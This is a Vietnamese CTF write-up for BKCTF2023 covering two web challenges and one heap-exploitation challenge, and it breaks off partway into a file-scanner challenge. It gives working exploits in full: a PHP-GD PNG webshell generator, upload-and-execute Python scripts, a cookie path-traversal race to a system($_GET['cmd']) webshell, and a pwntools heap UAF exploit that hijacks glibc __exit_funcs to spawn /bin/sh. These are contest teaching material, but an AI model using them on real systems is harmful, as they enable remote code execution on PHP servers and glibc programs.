BKCTF2023 - webx2, pwnx2, revx2
Web
TaiPhung
Image Copy Resampled
Description
Link: http://13.212.34.169:30136
Source code here.
Solution
Trang chủ:
Trong index.php
:
<?php
if(isset($_FILES['image'])){
$upload_dir = "./uploads/";
$file_name = $_FILES['image']['name'];
$file_tmp = $_FILES['image']['tmp_name'];
$file_type = $_FILES['image']['type'];
$file_ext = strtolower(pathinfo($file_name, PATHINFO_EXTENSION));
$size_check = getimagesize($file_tmp);
$allowed_ext = array('jpg', 'png', 'php');
if(in_array($file_ext, $allowed_ext)){
$image = imagecreatefromstring(file_get_contents($file_tmp));
$cropped_image = imagecreatetruecolor(40, 40);
imagecopyresampled($cropped_image, $image, 0, 0, 0, 0, 40, 40, imagesx($image), imagesy($image));
$random_name = md5(uniqid(rand(), true));
$new_file_name = $random_name . '.' . $file_ext;
if ($file_ext === 'jpg' || $file_ext === 'png' ) {
//check size
if ($size_check[0] < 40 || $size_check[1] < 40) {
echo "Ảnh của bạn hơi nhỏ. Chúng tôi cần ảnh lớn hơn 40x40 pixels\n<br>";
} else {
if($file_ext === 'jpg'){
imagejpeg($cropped_image, $upload_dir . $new_file_name);
} else {
imagepng($cropped_image, $upload_dir . $new_file_name);
}
echo "ảnh đã được lưu tại đây\n<br>";
echo $upload_dir;
echo $new_file_name;
imagedestroy($image);
imagedestroy($cropped_image);
}
} else {
imagepng($cropped_image, $upload_dir . $new_file_name);
echo "ảnh đã được lưu tại đây\n<br>";
echo $upload_dir;
echo $new_file_name;
imagedestroy($image);
imagedestroy($cropped_image);
}
} else {
echo "Chỉ cho phép tải lên tệp JPG hoặc PNG và pHp ;D ? ? ?";
}
}
?>
Có một số điểm chú ý:
- Sử dụng hàm
isset()
để kiểm tra xem biến$_FILES['image']
có tồn tại hay không. Biến này sẽ chứa thông tin về tệp hình ảnh được tải lên. $upload_dir
: Đường dẫn thư mục nơi hình ảnh sẽ được lưu trữ.$file_name
: Tên của tệp hình ảnh ban đầu.$file_tmp
: Đường dẫn tạm thời của tệp hình ảnh trên máy chủ.$file_type
: Loại tệp (MIME type) của hình ảnh.$file_ext
: Phần mở rộng của tên tệp hình ảnh (được chuyển thành chữ thường).
=> ứng dụng web cho phép tải lên một tệp hình ảnh từ người dùng, đồng thời thực hiện thu nhỏ hình ảnh thành 40x40 pixel nếu là ảnh JPEG hoặc PND.
- Giải thích cơ chế thu nhỏ ảnh:
Hàm
imagecopyresampled()
tạo ra một bản sao thu nhỏ của hình ảnh ban đầu, có kích thước 40x40 pixel. Đây là cách làm thường được sử dụng để tạo ra các phiên bản hình ảnh nhỏ hơn để hiển thị trên trang web hoặc ứng dụng mà không làm mất chất lượng quá nhiều.
Dưới đây là phần mã liên quan đến cơ chế nén ảnh:
$cropped_image = imagecreatetruecolor(40, 40);
imagecopyresampled($cropped_image, $image, 0, 0, 0, 0, 40, 40, imagesx($image), imagesy($image));
- Ý tưởng:
- upload ảnh chứa payload
- payload cần phù hợp để khi bị nén cũng không bị mất đi dữ liệu
Mình tìm kiếm theo từ khóa PHP-GD
thì thấy một số kỹ thuật hay:
Tham khảo ở đây: https://book.hacktricks.xyz/pentesting-web/file-upload
Xem các khai thác được cung cấp ta sử dụng các script này:
Mình dùng script payloads/generators/gen_idat_png.php
<?php
header('Content-Type: image/png');
$p = array(0xA3, 0x9F, 0x67, 0xF7, 0x0E, 0x93, 0x1B, 0x23, 0xBE, 0x2C, 0x8A, 0xD0, 0x80, 0xF9, 0xE1, 0xAE, 0x22, 0xF6, 0xD9, 0x43, 0x5D, 0xFB, 0xAE, 0xCC, 0x5A, 0x01, 0xDC, 0xAA, 0x52, 0xD0, 0xB6, 0xEE, 0xBB, 0x3A, 0xCF, 0x93, 0xCE, 0>
$img = imagecreatetruecolor(55, 55);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3)*2, 0, $color);
imagesetpixel($img, round($y / 3)*2+1, 0, $color);
imagesetpixel($img, round($y / 3)*2, 1, $color);
imagesetpixel($img, round($y / 3)*2+1, 1, $color);
}
imagepng($img);
?>
Script này sẽ tạo ra một hình ảnh 110x110 pixel sau đó nén thành 55x55 pixel với payload được sử dụng là <?=$_GET[0]($_POST[1]);?>
Mình sẽ đổi thành 80x80 pixel để khi nén sẽ thành 40x40 pixel phù hợp với điều kiện.
<?php
header('Content-Type: image/png');
$p = array(0xA3, 0x9F, 0x67, 0xF7, 0x0E, 0x93, 0x1B, 0x23, 0xBE, 0x2C, 0x8A, 0xD0, 0x80, 0xF9, 0xE1, 0xAE, 0x22, 0xF6, 0xD9, 0x43, 0x5D, 0xFB, 0xAE, 0xCC, 0x5A, 0x01, 0xDC, 0xAA, 0x52, 0xD0, 0xB6, 0xEE, 0xBB, 0x3A, 0xCF, 0x93, 0xCE, 0>
$img = imagecreatetruecolor(80, 80);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3)*2, 0, $color);
imagesetpixel($img, round($y / 3)*2+1, 0, $color);
imagesetpixel($img, round($y / 3)*2, 1, $color);
imagesetpixel($img, round($y / 3)*2+1, 1, $color);
}
imagepng($img);
?>
Run script:
┌──(taiwhis㉿kali)-[~/bkctf/bkctf2023-imagecopyresampled/exploit]
└─$ php gen_idat_png.php > text.php
Upload file test.php
lấy đường dẫn file
Gọi shell:
curl -XPOST -d '1=ls /''http://localhost:1337/uploads/00f3e6fd392783b349714e3f860fde3b.php?0=shell_exec'
Và mình nhận được flag.
Tại thời điểm mình viết wu thì server không hoạt động nữa nên không có flag nhé :hamburger:
Script
import sys
import requests
from bs4 import BeautifulSoup
import subprocess
def main(url, file_upload, command_post):
headers = {
"Host": url.split("//")[1].split(":")[0],
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.97 Safari/537.36",
"Referer": url,
"Cookie": "user=BKSEC_guest",
}
files = {
"image": ("admin.php", open(file_upload, "rb"), "application/octet-stream")
}
res = requests.post(url, headers=headers, files=files)
soup = BeautifulSoup(res.text, 'html.parser')
br_tag = soup.find('br')
image_path = br_tag.next_sibling.strip()
curl_path = "curl"
path = image_path[1:] + "?0=shell_exec"
curl_command = [curl_path, "-XPOST", "-d", command_post, f"{url}{path}"]
try:
result = subprocess.run(curl_command, capture_output=True, text=True, encoding="ISO-8859-1", check=True)
output = result.stdout
print("Flag:")
print(output)
except subprocess.CalledProcessError as e:
print("Lỗi:", e)
if __name__ == "__main__":
if len(sys.argv) != 4:
print("Usage: python script.py <url> <file_upload> <command_post>")
else:
url = sys.argv[1]
file_upload = sys.argv[2]
command_post = sys.argv[3]
main(url, file_upload, command_post)
Result:
┌──(root㉿kali)-[/home/…/bkctf/bkctf2023-imagecopyresampled/exploit/test]
└─# python 4.py "http://18.141.143.171:32290/" "test.php" "1=cat /flagdSXlS.txt"
Flag:
PNG
▒
IHDR(/: pHYsÄÄ+IDATXc\BKSEC{Php_Gd_iDa7_cHunk_65150cb4cdc2a10d714ed00941de058c}X ð
Ï×-oLaþª7ÝC?àÁ¦F+mb6Jæålä~xM\¦_ZÁfµ8üÛ~_Ó}ª'÷ñãÉ¿_ï|²00cÙÉÃpð÷õÈìH'w4XÜý¹eºÃ?ÙFÁ(▒£`Q0
FÁ(▒£`Q0
FÁ( Z)4wâ,IEND®B`
Flag: BKSEC{Php_Gd_iDa7_cHunk_65150cb4cdc2a10d714ed00941de058c}
Metadata checker
Description
Link: http://18.141.143.171:30037
Source code here.
Solution
Upload ảnh bất kỳ thì thấy như này:
Tên ảnh được thay đổi thành bằng cách gộp: cookie + timestamp + tên ảnh ban đầu.
Bài này y chang một bài mình từng đọc ở blog của vnpt.
- Đây là một bài upload file via race condition, tham khảo chi tiết tại blog này:
https://sec.vnpt.vn/2023/05/exploiting-file-upload-vulnerability-with-race-conditions-challenge-for-you
Source code chỉ có 1 file index.php là đáng chú ý.
<?php
error_reporting(0);
setcookie("user", "BKSEC_guest", time() + (86400 * 30), "/"); // Cookie will be valid for 30 days
if (isset($_FILES) && !empty($_FILES)) {
$uploadpath = "/var/tmp/";
$error = "";
$timestamp = time();
$userValue = $_COOKIE['user'];
$target_file = $uploadpath . $userValue . "_" . $timestamp . "_" . $_FILES["image"]["name"];
move_uploaded_file($_FILES["image"]["tmp_name"], $target_file);
if ($_FILES["image"]["size"] > 1048576) {
$error .= '<p class="h5 text-danger">Maximum file size is 1MB.</p>';
} elseif ($_FILES["image"]["type"] !== "image/jpeg") {
$error .= '<p class="h5 text-danger">Only JPG files are allowed.</p>';
} else {
$exif = exif_read_data($target_file, 0, true);
if ($exif === false) {
$error .= '<p class="h5 text-danger">No metadata found.</p>';
} else {
$metadata = '<table class="table table-striped">';
foreach ($exif as $key => $section) {
$metadata .=
'<thead><tr><th colspan="2" class="text-center">' .
$key .
"</th></tr></thead><tbody>";
foreach ($section as $name => $value) {
$metadata .=
"<tr><td>" . $name . "</td><td>" . $value . "</td></tr>";
}
$metadata .= "</tbody>";
}
$metadata .= "</table>";
}
}
}
?>
<!DOCTYPE html>
<!-- Modified from https://getbootstrap.com/docs/5.3/examples/checkout -->
<html lang="en" data-bs-theme="auto">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>BKSEC Metadata checker</title>
<link href="assets/dist/css/bootstrap.min.css" rel="stylesheet">
<link href="assets/dist/css/checkout.css" rel="stylesheet">
<link rel="icon" href="assets/images/logo.png" type="image/png">
</head>
<body class="bg-body-tertiary">
<div class="container">
<main>
<div class="py-5 text-center">
<a href="/"><img class="d-block mx-auto mb-4" src="assets/images/logo.png" alt="" width="72"></a>
<h2>BKSEC Metadata checker</h2>
<p class="lead">Only jpg files are supported and maximum file size is 1MB.</p>
</div>
<form action="/index.php" method="post" enctype="multipart/form-data">
<label class="h5 form-label">Upload your image</label>
<input class="form-control form-control-lg my-4" name="image" id="formFileLg" type="file" required/>
<div class="col text-center">
<button class="btn btn-primary btn-lg" type="submit">Upload</button>
</div>
</form>
<?php
// I want to show a loading effect within 1.5s here but don't know how
sleep(1.5);
// This might be okay..... I think so
// My teammates will help me fix it later, I hope they don't forget that
echo $error;
echo $metadata;
unlink($target_file);
?>
</main>
<footer class="my-5 pt-5 text-body-secondary text-center text-small">
<p class="mb-1">© 2023 CLB An Toàn Thông Tin - BKHN</p>
</footer>
</div>
<script src="assets/dist/js/bootstrap.bundle.min.js"></script>
</body>
</html>
- Chỗ này có
Path travesal
.
Để ý tới phần $target_file
:
$target_file = $uploadpath . $userValue . "_" . $timestamp . "_" . $_FILES["image"]["name"];
Phần $uploadpath = "/var/tmp/";
, $timestamp = time();
Phần cookie $userValue = $_COOKIE['user'];
có thể chỉnh sửa để path travesal upload ra một thư mục khác
Ý tưởng:
- Tạo một hình ảnh chứa payload
<?php system($_GET['cmd']);?>
-
Sửa Cookie để path reavesal upload qua một thư mục khác với extension là
.php
BKSEC_guest
=>../../var/www/html/assets/images/
- Gọi tới hình ảnh và thực thi lệnh
Mình bật burp intruder để upload liên tục và gọi một intruder khác để gọi tới file ảnh sau upload với timestamp tăng dần.
Mất khoảng 30 phút thì mình có flag
Script
Web cookie han hoan dead
quá, lúc mình viết writeup mình chưa lấy dc flag mới.
script trên local như sau:
import sys
import requests
from datetime import datetime
if len(sys.argv) != 5:
print("Usage: python script.py url file_name cookie_value cmd")
sys.exit(1)
url = sys.argv[1]
file_name = sys.argv[2]
cookie_value = sys.argv[3]
cmd = sys.argv[4]
file = {'image': (file_name, open(file_name, 'rb'), 'image/jpeg')}
cookie = {"user": cookie_value}
res = requests.post(url + 'index.php', files=file, cookies=cookie)
date_string = res.headers.get('Date')
print(date_string)
timestamp = int(datetime.strptime(date_string, '%a, %d %b %Y %H:%M:%S %Z').timestamp()) - XXXXX # phải thay đổi ở chỗ này.
print("Date string:", date_string)
print("Timestamp:", timestamp)
urls = url + f'assets/images/_{timestamp}_{file_name}?cmd={cmd}'
print('url:', urls)
res = requests.get(urls)
print('Result:', res.text)
Result:
┌──(root㉿kali)-[/home/…/downloadable/metadata-checker/docker-php-helloworld/src]
└─# python '9.py' 'http://localhost:1337/' 'payload.php' '../www/html/assets/images/' 'id'
Tue, 22 Aug 2023 11:54:15 GMT
Date string: Tue, 22 Aug 2023 11:54:15 GMT
Timestamp: 1692705255
url: http://localhost:1337/assets/images/_1692705255_payload.php?cmd=id
Result: abcbcbuid=33(www-data) gid=33(www-data) groups=33(www-data)
PWN
Author: Hoàng Việt
CLASS MANAGER
Chạy chương trình hoặc nhìn tên chương trình thì đây là 1 bài heap
Decompile program
Hàm main
int __fastcall main(int argc, const char **argv, const char **envp)
{
__int64 choice[2]; // [rsp+0h] [rbp-10h] BYREF
choice[1] = __readfsqword(0x28u);
puts("Four options to manage students in a class:");
puts("1. Add a student to the class.");
puts("2. Show name of a student.");
puts("3. Delete a student.");
puts("4. Exit.");
fflush(_bss_start);
while ( 1 )
{
printf("Enter your choice: ");
fflush(_bss_start);
__isoc99_scanf("%lld", choice);
switch ( choice[0] )
{
case 1LL:
AddStudent();
break;
case 2LL:
ShowStudent();
break;
case 3LL:
DeleteStudent();
break;
case 4LL:
exit(0);
case 5LL:
if ( key )
key("%lld", 0LL);
break;
default:
puts("Invalid choice.");
break;
}
}
}
- Nó chỉ in ra menu rồi yêu cầu người dùng nhập lựa chọn
Hàm Add
unsigned __int64 AddStudent()
{
__int64 i; // [rsp+0h] [rbp-20h] BYREF
size_t size; // [rsp+8h] [rbp-18h] BYREF
void *name; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
i = -1LL;
printf("Where to put that student in the database: ");
__isoc99_scanf("%lld", &i);
if ( CheckID(i) )
{
printf("Length of that student's name: ");
__isoc99_scanf("%lld", &size);
if ( (__int64)size <= 4095 && (__int64)size > 0 )
{
if ( sz[i] != ++size || !*((_QWORD *)&::name + i) )
{
name = malloc(size);
if ( !name )
{
puts("Can not create!");
return v4 - __readfsqword(0x28u);
}
*((_QWORD *)&::name + i) = name;
sz[i] = size;
}
printf("Enter the name: ");
fflush(_bss_start);
read(0, *((void **)&::name + i), size - 1);
}
}
return v4 - __readfsqword(0x28u);
}
- Đầu tiên nó yêu cầu người dùng nhập index để lưu vào 1 mảng chứa các con trỏ trỏ đến tên học sinh
- Index này sẽ được đưa vào hàm
CheckID
để kiểm tra
_BOOL8 __fastcall CheckID(unsigned __int64 a1)
{
return a1 <= 0x13;
}
- Như vậy index tối đa sẽ là
19
- Tiếp đến là yêu cầu người dùng nhập size và cái size này sẽ được lưu trên mảng
size
tương ứng với cái index. Nó kiểu tra cái size mà người dùng nhập có trùng vớisize[i]
không nếu có thì ghi đè lên địa trỉ cũ lưu tạiname[i]
không thì sẽmalloc
1 con trỏ mới để ghi - Cuối cùng chỉ là nhập tên
Hàm Show
unsigned __int64 ShowStudent()
{
unsigned __int64 i; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
i = -1LL;
printf("Input student ID: ");
__isoc99_scanf("%lld", &i);
if ( CheckID(i) && *((_QWORD *)&name + i) )
printf("%s", *((const char **)&name + i));
return v2 - __readfsqword(0x28u);
}
- Nó yêu cầu nhập index rồi đưa qua hàm
CheckID
nếu ok thì in raname[i]
Hàm Delete
unsigned __int64 DeleteStudent()
{
unsigned __int64 i; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
i = -1LL;
printf("Input student ID: ");
__isoc99_scanf("%lld", &i);
if ( CheckID(i) && *((_QWORD *)&name + i) )
free(*((void **)&name + i));
return v2 - __readfsqword(0x28u);
}
- Nó yêu cầu index rồi kiểm tra qua hàm
CheckID
vàname[i] != NULL
rồifree(name[i])
- Hàm này không clear
name[i]
sau khifree
nên ở đây là lỗiUAF
Abuse __exit_funcs
- Ở đây chương trình dùng libc 2.35, không sử dụng
__malloc_hook
hay__free_hook
nữa thì ở đây mình sẽ fake cái__exit_funcs
được dùng khi gọiexit
void exit (int status)
{
__run_exit_handlers (status, &__exit_funcs, true, true);
}
- Khi gọi
exit
thì nó sẽ gọi đến__run_exit_handlers
với tham số thứ 2 ở đây là__exit_funcs
void attribute_hidden __run_exit_handlers (int status, struct exit_function_list **listp,
bool run_list_atexit, bool run_dtors)
{
/* First, call the TLS destructors. */
#ifndef SHARED
if (&__call_tls_dtors != NULL)
#endif
if (run_dtors)
__call_tls_dtors ();
__libc_lock_lock (__exit_funcs_lock);
/* We do it this way to handle recursive calls to exit () made by
the functions registered with `atexit' and `on_exit'. We call
everyone on the list and use the status value in the last
exit (). */
while (true)
{
struct exit_function_list *cur = *listp;
if (cur == NULL)
{
/* Exit processing complete. We will not allow any more
atexit/on_exit registrations. */
__exit_funcs_done = true;
break;
}
while (cur->idx > 0)
{
struct exit_function *const f = &cur->fns[--cur->idx];
const uint64_t new_exitfn_called = __new_exitfn_called;
switch (f->flavor)
{
void (*atfct) (void);
void (*onfct) (int status, void *arg);
void (*cxafct) (void *arg, int status);
void *arg;
case ef_free:
case ef_us:
break;
case ef_on:
onfct = f->func.on.fn;
arg = f->func.on.arg;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (onfct);
#endif
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
onfct (status, arg);
__libc_lock_lock (__exit_funcs_lock);
break;
case ef_at:
atfct = f->func.at;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (atfct);
#endif
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
atfct ();
__libc_lock_lock (__exit_funcs_lock);
break;
case ef_cxa:
/* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
we must mark this function as ef_free. */
f->flavor = ef_free;
cxafct = f->func.cxa.fn;
arg = f->func.cxa.arg;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (cxafct);
#endif
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
cxafct (arg, status);
__libc_lock_lock (__exit_funcs_lock);
break;
}
if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
/* The last exit function, or another thread, has registered
more exit functions. Start the loop over. */
continue;
}
*listp = cur->next;
if (*listp != NULL)
/* Don't free the last element in the chain, this is the statically
allocate element. */
free (cur);
}
- Ở đây chúng ta không quan tâm đến cái
__call_tls_dtors
- Biến
cur
ở đây được set là__exit_funcs
mà chúng ta pass cho hàm này với type làexit_function_list
enum
{
ef_free, /* `ef_free' MUST be zero! */
ef_us,
ef_on,
ef_at,
ef_cxa
};
struct exit_function
{
/* `flavour' should be of type of the `enum' above but since we need
this element in an atomic operation we have to use `long int'. */
long int flavor;
union
{
void (*at) (void);
struct
{
void (*fn) (int status, void *arg);
void *arg;
} on;
struct
{
void (*fn) (void *arg, int status);
void *arg;
void *dso_handle;
} cxa;
} func;
};
struct exit_function_list
{
struct exit_function_list *next;
size_t idx;
struct exit_function fns[32];
};
- Nó là 1 cái linked list,
idx
ở đây được dùng như 1 biến đếm và làm index chofns
fns
là 1 mảng gôm cácexit_function
struct.flavor
ở đây như là 1 cái type của function, giá trị của nó sẽ là ở 1 trong cái enum kia, đại loại là sẽ là chọn gọifunc
với tham số hay với cái gì đó…- Hàm
__run_exit_handlers
sẽ duyệt qua struct rồi gọifunc
nhưng trước đó nó gọiPTR_DEMANGLE
để lấy được con trỏ hàm vì con trỏ này trước khi đưa vào struct thì sẽ được mã hóa
# define PTR_MANGLE(var) asm ("xor %%fs:%c2, %0\n" \
"rol $2*" LP_SIZE "+1, %0" \
: "=r" (var) \
: "0" (var), \
"i" (offsetof (tcbhead_t, \
pointer_guard)))
PTR_DEMANGLE
sẽ đơn giản rotate right pointer0x11
bit về bên phải rồi xor vớifs:0x30
rồi sau đó được gọi- Ở
FS
lưu trữ thread block control ởtcbhead_t
struct
typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard;
uintptr_t pointer_guard;
unsigned long int unused_vgetcpu_cache[2];
/* Bit 0: X86_FEATURE_1_IBT.
Bit 1: X86_FEATURE_1_SHSTK.
*/
unsigned int feature_1;
int __glibc_unused1;
/* Reservation of some values for the TM ABI. */
void *__private_tm[4];
/* GCC split stack support. */
void *__private_ss;
/* The lowest address of shadow stack, */
unsigned long long int ssp_base;
/* Must be kept even if it is no longer used by glibc since programs,
like AddressSanitizer, depend on the size of tcbhead_t. */
__128bits __glibc_unused2[8][4] __attribute__ ((aligned (32)));
void *__padding[8];
} tcbhead_t;
- Offset
0x30
ở đây là trỏ đếnpointer_guard
, như vậy thì để fake đượcfunc
thì chúng ta cần phải leak đượcpointer_guard
- Chúng ta chỉ cần leak được pointer đã mã hóa rồi
xor
với hàm mà nó trỏ tới là sẽ có đượcpointer_guard
- Mặc định cái hàm nó trỏ tới ở đây sẽ là
_dl_fini
, debug chương trình sẽ thấy - Nhưng mà hàm này lại ở trên
ld.so
như vậy cần leak được cảld
- Ở trên libc mình tìm thấy có 1 chỗ chứa giá trị của
ld
0x00007ffff7c00000 0x00007ffff7c28000 0x0000000000000000 r-- /home/nao/bksec_2023/class_manager/bkctf2023-classmanager/downloadable/libc.so.6
0x00007ffff7c28000 0x00007ffff7dbd000 0x0000000000028000 r-x /home/nao/bksec_2023/class_manager/bkctf2023-classmanager/downloadable/libc.so.6
0x00007ffff7dbd000 0x00007ffff7e15000 0x00000000001bd000 r-- /home/nao/bksec_2023/class_manager/bkctf2023-classmanager/downloadable/libc.so.6
0x00007ffff7e15000 0x00007ffff7e19000 0x0000000000214000 r-- /home/nao/bksec_2023/class_manager/bkctf2023-classmanager/downloadable/libc.so.6
0x00007ffff7e19000 0x00007ffff7e1b000 0x0000000000218000 rw- /home/nao/bksec_2023/class_manager/bkctf2023-classmanager/downloadable/libc.so.6
0x00007ffff7e1b000 0x00007ffff7e28000 0x0000000000000000 rw-
0x00007ffff7fb8000 0x00007ffff7fbd000 0x0000000000000000 rw-
0x00007ffff7fbd000 0x00007ffff7fc1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fc1000 0x00007ffff7fc3000 0x0000000000000000 r-x [vdso]
0x00007ffff7fc3000 0x00007ffff7fc5000 0x0000000000000000 r-- /home/nao/bksec_2023/class_manager/bkctf2023-classmanager/downloadable/ld-linux-x86-64.so.2
0x00007ffff7fc5000 0x00007ffff7fef000 0x0000000000002000 r-x /home/nao/bksec_2023/class_manager/bkctf2023-classmanager/downloadable/ld-linux-x86-64.so.2
0x00007ffff7fef000 0x00007ffff7ffa000 0x000000000002c000 r-- /home/nao/bksec_2023/class_manager/bkctf2023-classmanager/downloadable/ld-linux-x86-64.so.2
0x00007ffff7ffb000 0x00007ffff7ffd000 0x0000000000037000 r-- /home/nao/bksec_2023/class_manager/bkctf2023-classmanager/downloadable/ld-linux-x86-64.so.2
0x00007ffff7ffd000 0x00007ffff7fff000 0x0000000000039000 rw- /home/nao/bksec_2023/class_manager/bkctf2023-classmanager/downloadable/ld-linux-x86-64.so.2
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 --x [vsyscall]
gef➤ x/xg 0x00007ffff7c00000 + 0x219010
0x7ffff7e19010: 0x00007ffff7fd8d30
gef➤ p 0x00007ffff7fd8d30 - 0x00007ffff7fc3000
$1 = 0x15d30
Cái này mọi người có thể đọc ở đây
Exploit
- Đầu tiên
malloc
9
chunks với size mà khifree
sẽ không bị đưa vào fastbin. Sau đófree
8
chunks đầu. Gọi hàmShow
để leak libc và heap - Ở đây con trỏ
fd
trên heap sẽ đượcxor
trước khi đặt vào. Nó sử dụng safe linking,xor
với địa chỉ heap shift12
bit
#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)
- Việc đưa nó về con trỏ ban đầu cũng đơn giản vì
12
bits cuối sẽ giữ nguyên - Ăn trộm mã giải trên gg thì mình có
def deobfuscate(val):
mask = 0xfff << 52
while mask:
v = val & mask
val ^= (v >> 12)
mask >>= 12
return val
- Rồi bầy giờ có libc và heap rồi thì exploit cái
tcache
để có arbitrary write - Có libc rồi thì sẽ leak được
ld
để có_dl_fini
- Tóm lại cái fake
exit_function
struct sẽ như này sau khi fake
func
trỏ đếnsystem
,arg
trỏ đến/bin/sh
- Chạy trên server và không có tác dụng, vì cái offset của
ld
sẽ khác, trên local thì là0x15d30
còn trên server sẽ thay đổi 1 chút là0x15c30
- Bài này có lẽ sau khi có
ld
là sẽ có thể đọcld
để leakPIE
nữa nhưng mình quên
Script
from pwn import *
slnaf = lambda delim, data: p.sendlineafter(delim, data)
saf = lambda delim, data: p.sendafter(delim, data)
elf = context.binary = ELF('babyheap')
libc = ELF('libc.so.6')
ld = ELF('ld-linux-x86-64.so.2')
def create_student(i, length, name):
slnaf(b'our choice: ', b'1')
slnaf(b'Where to put that student in the database: ', str(i).encode())
slnaf(b'Length of that student\'s name: ', str(length).encode())
slnaf(b'Enter the name: ', name)
def show(i):
slnaf(b'your choice: ', b'2')
slnaf(b'Input student ID: ', str(i).encode())
def delete(i):
slnaf(b'your choice: ', b'3')
slnaf(b'Input student ID: ', str(i).encode())
def deobfuscate(val):
mask = 0xfff << 52
while mask:
v = val & mask
val ^= (v >> 12)
mask >>= 12
return val
def rightRotate(n, d):
return (n >> d)|(n << (64 - d)) & 0xffffffffffffffff
def leftRotate(n, d):
return ((n << d)|(n >> (64 - d))) & 0xffffffffffffffff
p = remote('13.212.34.169', 31527)
#p = process()
#gdb.attach(p, gdbscript='''c''')
NAME = 0x4040c0
KEY = 0x4040a0
STACK = 0x21a530
LIBC_STACK_END = 0x449a90
LEAK_LD_OFFSET = 0x219010
LD_OFFSET = 0x15c0a
_DL_FINI = 0x6040
create_student(0, 0xa0, b'A')
create_student(1, 0xa0, b'A')
create_student(2, 0xa0, b'A')
create_student(3, 0xa0, b'A')
create_student(4, 0xa0, b'A')
create_student(5, 0xa0, b'A')
create_student(6, 0xa0, b'A')
create_student(7, 0xa0, b'A')
create_student(8, 0xa0, b'A')
for i in range(8):
delete(i)
show(7)
leak = p.recv(6)
leak = int.from_bytes(leak, byteorder='little')
libc.address = leak - 0x219ce0
print('leak: {}'.format(hex(leak)))
print('libc: {}'.format(hex(libc.address)))
show(6)
leak = p.recvuntil(b'E')[:-1]
leak = int.from_bytes(leak, byteorder='little')
print('leak: {}'.format(hex(leak)))
heap = leak & 0xffffffffffff0000
#for i in range(0xf):
# tmp = heap + (i << 12)
# if(((tmp + 0x6c0) >> 12) ^ (tmp + 0x610) == leak):
# heap = tmp
# break
heap = deobfuscate(leak)
heap = (heap >> 12) << 12
print('heap: {}'.format(hex(heap)))
ONE_GADGET = 0xebcf8
create_student(6, 0xa0, p64(((heap + 0x6c0) >> 12) ^ (libc.address + LEAK_LD_OFFSET)))
create_student(9, 0xa0, b'A')
create_student(10, 0xa0, b'')
show(10)
leak = p.recvuntil(b'E')[:-1]
leak = int.from_bytes(leak, byteorder='little')
ld.address = leak - LD_OFFSET
print('leak: {}'.format(hex(leak)))
print('ld: {}'.format(hex(ld.address)))
create_student(0, 0x30, b'A')
create_student(1, 0x30, b'A')
delete(1)
delete(0)
create_student(0, 0x30, p64(((heap + 0x770) >> 12) ^ (libc.address + 0x21af00))) # value in __exit_funcs plus n
create_student(2, 0x30, b'A')
create_student(3, 0x30, b'A'*0x17)
show(3)
p.recvuntil(b'\x41\x41\n')
leak = p.recvuntil(b'E')[:-1]
leak = int.from_bytes(leak, byteorder='little')
print('leak: {}'.format(hex(leak)))
pointer_guard = rightRotate(leak, 0x11) ^ (ld.address + _DL_FINI)
print('pointer guard: {}'.format(hex(pointer_guard)))
pointer_encoded = leftRotate((libc.symbols['system'] ^ pointer_guard), 0x11)
print(hex(pointer_encoded))
create_student(3, 0x30,p64(0) + p64(1) + p64(4) + p64(pointer_encoded) + p64(next(libc.search(b'/bin/sh\x00'))))
slnaf(b'your choice: ', b'4')
p.interactive()
File scanner
Chạy chương trình thì nó hỏi có phải huster không, ehhh không Nhập vào ID rồi nó thoát
Decompile program
Hàm main
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
int v4; // [esp-Ch] [ebp-44h]
int v5; // [esp-Ch] [ebp-44h]
int v6; // [esp-Ch] [ebp-44h]
int v7; // [esp-8h] [ebp-40h]
int v8; // [esp-4h] [ebp-3Ch]
int v9; // [esp+0h] [ebp-38h] BYREF
int i; // [esp+4h] [ebp-34h]
int v11; // [esp+8h] [ebp-30h]
char v12[16]; // [esp+Ch] [ebp-2Ch] BYREF
char v13[16]; // [esp+1Ch] [ebp-1Ch] BYREF
unsigned int v14; // [esp+2Ch] [ebp-Ch]
v14 = __readgsdword(0x14u);
init();
v3 = time(0);
srand(v3);
for ( i = 0; i <= 15; ++i )
v13[i] = generateRandomHexValue();
memset(v12, 0, sizeof(v12));
printf("Are you Huster? Show me your ID: ");
custom_read(v12);
v11 = strlen(v12, 16);
if ( !strncmp(v12, v13, v11) )
{
puts("Ohh... so you can use the newest tool I just found");
puts("Please don't break my program T_T\n");
}
else
{
